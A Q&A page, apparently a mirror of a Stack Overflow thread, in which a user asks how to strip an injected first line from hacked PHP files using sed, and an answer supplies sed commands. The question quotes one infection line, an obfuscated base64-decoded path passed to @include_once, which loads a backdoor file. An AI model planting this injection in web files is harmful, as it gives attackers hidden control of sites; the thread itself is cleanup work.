Remove the first line with sed with a regular expr

2019-09-15 04:00发布

I want to remove the first line in all files that have match with the next grep command:

grep -Rl '<\?php /\* <!-----.*/\?>' ./

These files were hacked and I want to remove this line. I tried with several commands with "sed" but with no result, commands like this:

sed 's/<\?php /\* <!-----.*/\?>//g' ./*

Thanks, best regards.

Edit. Example:

<?php /* <!-----sSMiRuomIZgafwAFrWqzLk-----> */ $SVjFIagfCmbDNLrO = base64_decode("L2hvbWUvZmVybmFuNi9wdWJsaWNfaHRtbC9QSFBMaXN0L2FkbWluL0ZDS2VkaXRvci9lZGl0b3IvZGlhbG9nL2Zja19zcGVsbGVycGFnZXMvc3BlbGxlcnBhZ2VzL3NlcnZlci1zY3JpcHRzLzIzMWE5ZDFhMGVmODM1NTEwNjdhMTY1YmU3ZmI4M2Zka2l4b3JscXZ1YiawaHX=");  @include_once $SVjFIagfCmbDNLrO;/* <!-----sSMiRuomIZgafwAFrWqzLk-----> */?><?php
defined('_JEXEC') or die('Direct Access to this location is not allowed.');

/**

And only whant to remove from <?php /*.... to */?>

标签: linux sed grep
1条回答
地球回转人心会变
2楼-- · 2019-09-15 04:01

What you want is:

sed -i.ORIG '1 { /YOUR_REGEX_PATTERN/d ; }' INPUTFILES*

This operates only on the first line, and if it matches your pattern, deletes it (in place, and the original files are backed up with .ORIG extension).

Update:

If you only want to remove some part of the first line:

sed -i.ORIG '1 { /YOUR_REGEX_PATTERN/s/YOUR_REGEX_PATTERN// ; }' INPUTFILES*

In your case it might be:

sed -i.ORIG '1 { /<?php \/\*.*\/?>/s_<?php /\*.*<?php_<?php_ ; }' INPUTFILES*

But that will work only in some cases... e.g. the <?php could occur in the encoded string part... (might occur...). And sed does not support non greedy and/or look-ahead, look-behind regexes...

查看更多
登录 后发表回答